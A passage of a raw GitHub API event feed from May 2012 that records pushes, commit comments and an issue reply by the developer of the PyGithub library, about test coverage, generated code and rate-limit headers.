PyGithub","html_url":"https://gist.github.com/2729810","user":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}}},"public":true,"repo":{"url":"https://api.github.com/repos//","name":"/"},"created_at":"2012-05-19T07:00:58Z","id":"1553726807","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6"}},{"type":"PushEvent","payload":{"head":"8cca4872ed04efb0252fbc70431b615931193145","size":3,"push_id":79265481,"commits":[{"sha":"030b23a3a9112864e922a965254428beefebbe42","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/030b23a3a9112864e922a965254428beefebbe42","distinct":true,"message":"Test Issue attributes"},{"sha":"55779ebbb4d8848ca7a2cf6ffbeb029239dbfdf2","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/55779ebbb4d8848ca7a2cf6ffbeb029239dbfdf2","distinct":true,"message":"Test attributes of NamedUser"},{"sha":"8cca4872ed04efb0252fbc70431b615931193145","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/8cca4872ed04efb0252fbc70431b615931193145","distinct":true,"message":"Test attributes of commit comments"}],"ref":"refs/heads/topic/RewriteWithGeneratedCode"},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-18T20:30:16Z","id":"1553628294","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6"}},{"type":"CommitCommentEvent","payload":{"comment":{"position":3,"created_at":"2012-05-18T20:11:17Z","line":25,"body":"This comment is here only to test PyGithub...","updated_at":"2012-05-18T20:11:17Z","commit_id":"6945921c529be14c3a8f566dd1e483674516d46d","url":"https://api.github.com/repos/jacquev6/PyGithub/comments/1349654","id":1349654,"path":"codegen/templates/GithubObject.MethodBody.UseResult.py","html_url":"https://github.com/jacquev6/PyGithub/commit/6945921c529be14c3a8f566dd1e483674516d46d#commitcomment-1349654","user":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}}},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-18T20:11:17Z","id":"1553622265","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6"}},{"type":"CommitCommentEvent","payload":{"comment":{"position":null,"created_at":"2012-05-18T08:59:28Z","line":null,"body":"No, it has nothing to do with auto-completion in IDEs :D\n\nGithub API v3 sends only the main part of objects in reply to some requests. So, if the user wants an attribute that has not been received yet, I have to do another request to complete the object.\n\nYet, in version 1.0 (see the milesone), my library will be much more readable for IDEs and their auto-completion mechanisms, because I am giving up the meta-description that I used until 0.6, and I'm now generating much more traditional code, that you will be able to explore as if it was written manually.\n\nIf you want to take the time to open an issue about auto-completion in IDEs, I'll deal with it in milestion 1.0.\n\nThanks !","updated_at":"2012-05-18T08:59:28Z","commit_id":"6945921c529be14c3a8f566dd1e483674516d46d","url":"https://api.github.com/repos/jacquev6/PyGithub/comments/1347083","id":1347083,"path":null,"html_url":"https://github.com/jacquev6/PyGithub/commit/6945921c529be14c3a8f566dd1e483674516d46d#commitcomment-1347083","user":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}}},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-18T08:59:28Z","id":"1553410839","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6"}},{"type":"WatchEvent","payload":{"action":"started"},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-18T05:29:53Z","id":"1553373866","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6"}},{"type":"IssueCommentEvent","payload":{"comment":{"created_at":"2012-05-18T05:27:40Z","body":"Thank you for your feedback.\n\nI have indeed not yet implemented this feature because I have no real use of it: each API call is more than half a second long, so it's hard to reach the rate limit.\n\nAnyway, it is easy to extract the rate limiting headers, so I will add an attribute to the Github class to give access to their last value.\n\nExpect it in version 1.0. I will set an expected date on the milestone during the week-end.\n","updated_at":"2012-05-18T05:27:40Z","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/5780183","id":5780183,"user":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}},"action":"created","issue":{"number":26,"created_at":"2012-05-17T12:02:05Z","pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"title":"Rate limiting?","comments":1,"body":"Hi!\n\nI tried to find a function which returns the number of API requests I have remaining due to [rate limiting](http://developer.github.com/v3/#rate-limiting). Is this somewhere in the library and I can't find it? If not, I think it would be a great feature to have, to be able to keep track of how many requests certain actions use up.","updated_at":"2012-05-18T05:27:40Z","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/26","id":4622816,"assignee":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"},"milestone":{"number":2,"created_at":"2012-03-08T12:22:28Z","due_on":null,"title":"Version 1.0: coherent public interface","creator":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"},"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/2","id":93547,"closed_issues":1,"open_issues":10,"description":"","state":"open"},"closed_at":null,"html_url":"https://github.com/jacquev6/PyGithub/issues/26","labels":[],"user":{"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","id":327442,"login":"bilderbuchi"},"state":"open"}},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-18T05:27:40Z","id":"1553373556","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6"}},{"type":"PushEvent","payload":{"head":"c75cb64d906ce4e21c509102004d4f9770348bf7","size":12,"push_id":79118465,"ref":"refs/heads/topic/RewriteWithGeneratedCode","commits":[{"sha":"93007180f6796f83a57f66f94b3ac58b1ae8ece7","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/93007180f6796f83a57f66f94b3ac58b1ae8ece7","distinct":true,"message":"Remove useless code"},{"sha":"5a943ad0b255797cea79188bb346c670076062ce","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/5a943ad0b255797cea79188bb346c670076062ce","distinct":true,"message":"Test Organization attributes"},{"sha":"dc1a8f8c9d9b8fb90f93a484629eb3f7a5d23dcc","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/dc1a8f8c9d9b8fb90f93a484629eb3f7a5d23dcc","distinct":true,"message":"Assert that we know all attributes\n\nTo be removed before release, since this would break the application if\ngithub.com adds a new attribute"},{"sha":"6ba5baad7ec39d7eed64049624c6519750fcb297","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/6ba5baad7ec39d7eed64049624c6519750fcb297","distinct":true,"message":"Test Repository.create_git_blob"},{"sha":"f23ed6341da0fcf7a416d04ad0ab252ed55308a5","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/f23ed6341da0fcf7a416d04ad0ab252ed55308a5","distinct":true,"message":"Create a GitTreeElement class"},{"sha":"8956796e7f462a49f499eac52fab901cdb59abdb","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/8956796e7f462a49f499eac52fab901cdb59abdb","distinct":true,"message":"Be explicit about complete-ability"},{"sha":"71b0ede8dec2436643ca0d6374c603f3794a1562","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/71b0ede8dec2436643ca0d6374c603f3794a1562","distinct":true,"message":"Remove complete-ability from git objects"},{"sha":"350c7a3726311e83a903cc02ec8f080010fcef54","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/350c7a3726311e83a903cc02ec8f080010fcef54","distinct":true,"message":"Remove repeated code"},{"sha":"a72d8b135841aa00158054d229c8e18333075cd4","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/a72d8b135841aa00158054d229c8e18333075cd4","distinct":true,"message":"Improve management of lazy completion"},{"sha":"6945921c529be14c3a8f566dd1e483674516d46d","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/6945921c529be14c3a8f566dd1e483674516d46d","distinct":true,"message":"Use NoCompletion when creating an object from the result of a request"},{"sha":"1a20e048f214d625622e5f1b5494d99cb247f98b","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/1a20e048f214d625622e5f1b5494d99cb247f98b","distinct":true,"message":"Test attributes of Milestone"},{"sha":"c75cb64d906ce4e21c509102004d4f9770348bf7","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/c75cb64d906ce4e21c509102004d4f9770348bf7","distinct":true,"message":"Improve message when we check that we know all attributes"}]},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-18T05:18:18Z","id":"1553372245","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6"}},{"type":"PushEvent","payload":{"head":"c75cb64d906ce4e21c509102004d4f9770348bf7","size":21,"push_id":77865457,"ref":"refs/heads/tmp","commits":[{"sha":"5c18c20ec4e790792635e22cc1065ec2956ebd3e","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/Candidates/commits/5c18c20ec4e790792635e22cc1065ec2956ebd3e","distinct":true,"message":"Change sys.path to import the development version in tests!"},{"sha":"2e76c9b7c569bfa5b8bf0a13d2049002ff73fa9a","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/Candidates/commits/2e76c9b7c569bfa5b8bf0a13d2049002ff73fa9a","distinct":true,"message":"Test GitTag attributes"},{"sha":"71b8d5a3cc805c017c13c7adbcc49142a02c53fb","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/Candidates/commits/71b8d5a3cc805c017c13c7adbcc49142a02c53fb","distinct":true,"message":"Re-order tests"},{"sha":"79ce8784291025d4235be9e4fae1ecf6d92d8cbf","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/Candidates/commits/79ce8784291025d4235be9e4fae1ecf6d92d8cbf","distinct":true,"message":"Test Repository.create_git_ref, GitRef.edit and .delete (needs a manual edition of Repository.py)"},{"sha":"1a886afbd6529793ed24719c107c1ad2c313fb25","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/Candidates/commits/1a886afbd6529793ed24719c107c1ad2c313fb25","distinct":true,"message":"Reorganize test fixtures"},{"sha":"7c4fc487c2a06f38ccabdaf60ae0f8d4c3442356","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/Candidates/commits/7c4fc487c2a06f38ccabdaf60ae0f8d4c3442356","distinct":true,"message":"Test AuthenticatedUser.create_repo (requires manual edition of generated code)"},{"sha":"9cc24b0d3f0fd810836c84354a9c4fe7ea96ad0f","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/Candidates/commits/9cc24b0d3f0fd810836c84354a9c4fe7ea96ad0f","distinct":true,"message":"Custom url for AuthenticatedUser"},{"sha":"2cd6dbce91804d33b15332367dc9ab35c9d59f15","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/Candidates/commits/2cd6dbce91804d33b15332367dc9ab35c9d59f15","distinct":true,"message":"Test Repository.edit"},{"sha":"d052371c15e2b3fcd2fd347518f1bf2e257e6382","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/Candidates/commits/d052371c15e2b3fcd2fd347518f1bf2e257e6382","distinct":true,"message":"Create a class Permissions"},{"sha":"93007180f6796f83a57f66f94b3ac58b1ae8ece7","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/Candidates/commits/93007180f6796f83a57f66f94b3ac58b1ae8ece7","distinct":true,"message":"Remove useless code"},{"sha":"5a943ad0b255797cea79188bb346c670076062ce","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/Candidates/commits/5a943ad0b255797cea79188bb346c670076062ce","distinct":true,"message":"Test Organization attributes"},{"sha":"dc1a8f8c9d9b8fb90f93a484629eb3f7a5d23dcc","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/Candidates/commits/dc1a8f8c9d9b8fb90f93a484629eb3f7a5d23dcc","distinct":true,"message":"Assert that we know all attributes\n\nTo be removed before release, since this would break the application if\ngithub.com adds a new attribute"},{"sha":"6ba5baad7ec39d7eed64049624c6519750fcb297","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/Candidates/commits/6ba5baad7ec39d7eed64049624c6519750fcb297","distinct":true,"message":"Test Repository.create_git_blob"},{"sha":"f23ed6341da0fcf7a416d04ad0ab252ed55308a5","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/Candidates/commits/f23ed6341da0fcf7a416d04ad0ab252ed55308a5","distinct":true,"message":"Create a GitTreeElement class"},{"sha":"8956796e7f462a49f499eac52fab901cdb59abdb","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/Candidates/commits/8956796e7f462a49f499eac52fab901cdb59abdb","distinct":true,"message":"Be explicit about complete-ability"},{"sha":"71b0ede8dec2436643ca0d6374c603f3794a1562","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/Candidates/commits/71b0ede8dec2436643ca0d6374c603f3794a1562","distinct":true,"message":"Remove complete-ability from git objects"},{"sha":"350c7a3726311e83a903cc02ec8f080010fcef54","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/Candidates/commits/350c7a3726311e83a903cc02ec8f080010fcef54","distinct":true,"message":"Remove repeated code"},{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques"},"url":"https://api.github.com/repos/jacquev6/Candidates/commits/a72d8b135841aa00158054d229c8e18333075cd4","message":"Improve management of lazy completion","distinct":true,"sha":"a72d8b135841aa00158054d229c8e18333075cd4"},{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques"},"url":"https://api.github.com/repos/jacquev6/Candidates/commits/6945921c529be14c3a8f566dd1e483674516d46d","message":"Use NoCompletion when creating an object from the result of a request","distinct":true,"sha":"6945921c529be14c3a8f566dd1e483674516d46d"},{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques"},"url":"https://api.github.com/repos/jacquev6/Candidates/commits/1a20e048f214d625622e5f1b5494d99cb247f98b","message":"Test attributes of Milestone","distinct":true,"sha":"1a20e048f214d625622e5f1b5494d99cb247f98b"}]},"public":false,"repo":{"url":"https://api.github.com/repos/jacquev6/Candidates","id":1592290,"name":"jacquev6/Candidates"},"created_at":"2012-05-11T13:50:38Z","id":"1551159050","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6"}},{"type":"PushEvent","payload":{"head":"d052371c15e2b3fcd2fd347518f1bf2e257e6382","size":1,"push_id":77713594,"commits":[{"sha":"d052371c15e2b3fcd2fd347518f1bf2e257e6382","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/d052371c15e2b3fcd2fd347518f1bf2e257e6382","distinct":true,"message":"Create a class Permissions"}],"ref":"refs/heads/topic/RewriteWithGeneratedCode"},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-10T20:00:26Z","id":"1550890586","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6"}},{"type":"PushEvent","payload":{"head":"2cd6dbce91804d33b15332367dc9ab35c9d59f15","size":8,"push_id":77707669,"ref":"refs/heads/topic/RewriteWithGeneratedCode","commits":[{"sha":"5c18c20ec4e790792635e22cc1065ec2956ebd3e","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/5c18c20ec4e790792635e22cc1065ec2956ebd3e","distinct":true,"message":"Change sys.path to import the development version in tests!"},{"sha":"2e76c9b7c569bfa5b8bf0a13d2049002ff73fa9a","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/2e76c9b7c569bfa5b8bf0a13d2049002ff73fa9a","distinct":true,"message":"Test GitTag attributes"},{"sha":"71b8d5a3cc805c017c13c7adbcc49142a02c53fb","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/71b8d5a3cc805c017c13c7adbcc49142a02c53fb","distinct":true,"message":"Re-order tests"},{"sha":"79ce8784291025d4235be9e4fae1ecf6d92d8cbf","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/79ce8784291025d4235be9e4fae1ecf6d92d8cbf","distinct":true,"message":"Test Repository.create_git_ref, GitRef.edit and .delete (needs a manual edition of Repository.py)"},{"sha":"1a886afbd6529793ed24719c107c1ad2c313fb25","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/1a886afbd6529793ed24719c107c1ad2c313fb25","distinct":true,"message":"Reorganize test fixtures"},{"sha":"7c4fc487c2a06f38ccabdaf60ae0f8d4c3442356","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/7c4fc487c2a06f38ccabdaf60ae0f8d4c3442356","distinct":true,"message":"Test AuthenticatedUser.create_repo (requires manual edition of generated code)"},{"sha":"9cc24b0d3f0fd810836c84354a9c4fe7ea96ad0f","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/9cc24b0d3f0fd810836c84354a9c4fe7ea96ad0f","distinct":true,"message":"Custom url for AuthenticatedUser"},{"sha":"2cd6dbce91804d33b15332367dc9ab35c9d59f15","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/2cd6dbce91804d33b15332367dc9ab35c9d59f15","distinct":true,"message":"Test Repository.edit"}]},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-10T19:33:23Z","id":"1550880794","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6"}},{"type":"CreateEvent","payload":{"master_branch":"master","ref_type":"repository","description":null,"ref":null},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/TestPyGithub","id":4288693,"name":"jacquev6/TestPyGithub"},"created_at":"2012-05-10T19:17:13Z","id":"1550874963","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6"}},{"type":"PushEvent","payload":{"head":"4303c5b90e2216d927155e9609436ccb8984c495","size":0,"push_id":77697827,"commits":[],"ref":"refs/heads/BranchCreatedByPyGithub"},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-10T18:49:21Z","id":"1550864260","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6"}},{"type":"PushEvent","payload":{"head":"04cde900a0775b51f762735637bd30de392a2793","size":1,"push_id":77697824,"ref":"refs/heads/BranchCreatedByPyGithub","commits":[{"sha":"04cde900a0775b51f762735637bd30de392a2793","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/04cde900a0775b51f762735637bd30de392a2793","distinct":false,"message":"On the way to code generation instead of meta-description\n\n(lots of useless eratic history squashed together in one commit)"}]},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-10T18:49:21Z","id":"1550864258","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6"}},{"type":"PushEvent","payload":{"head":"4303c5b90e2216d927155e9609436ccb8984c495","size":2,"push_id":77697820,"commits":[{"sha":"2a7e80e6421c5d4d201d60619068dea6bae612cb","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/2a7e80e6421c5d4d201d60619068dea6bae612cb","distinct":false,"message":"Publish version 0.6"},{"sha":"4303c5b90e2216d927155e9609436ccb8984c495","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/4303c5b90e2216d927155e9609436ccb8984c495","distinct":false,"message":"Merge branch 'develop'"}],"ref":"refs/heads/BranchCreatedByPyGithub"},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-10T18:49:20Z","id":"1550864252","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6"}},{"type":"PushEvent","payload":{"head":"4c4e551d39f77beb507cd745408284eb0f8078ec","size":9,"push_id":77687307,"commits":[{"sha":"cd68559b0861ad2be12be29b9d4b7ec66e885191","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/cd68559b0861ad2be12be29b9d4b7ec66e885191","distinct":true,"message":"Separate asserts on type and assignments of values of attributes"},{"sha":"d631e83b7901b0a0b6061b361130700a79505319","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/d631e83b7901b0a0b6061b361130700a79505319","distinct":true,"message":"Move files around"},{"sha":"d6efda12012dfb0c35f81d2c291bed575d2f9336","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/d6efda12012dfb0c35f81d2c291bed575d2f9336","distinct":true,"message":"Remove old tests"},{"sha":"595e88cd5537208958f90d6727965cc7918f09a7","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/595e88cd5537208958f90d6727965cc7918f09a7","distinct":true,"message":"Rename new tests as only tests"},{"sha":"283da5e7de6a4a3b6aaae7045909d70b643ad380","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/283da5e7de6a4a3b6aaae7045909d70b643ad380","distinct":true,"message":"Fix code generation and tests after reorganization"},{"sha":"a78d82212b67402527d1a0200300e772bc889620","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/a78d82212b67402527d1a0200300e772bc889620","distinct":true,"message":"Modularize integration tests"},{"sha":"efa58887aa170aefe844d1c4a3f6c9d8d030548d","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/efa58887aa170aefe844d1c4a3f6c9d8d030548d","distinct":true,"message":"Test Branch and Commit attributes"},{"sha":"3c71195916d2f3352ca354d99115709a9334617b","author":{"name":"Vincent 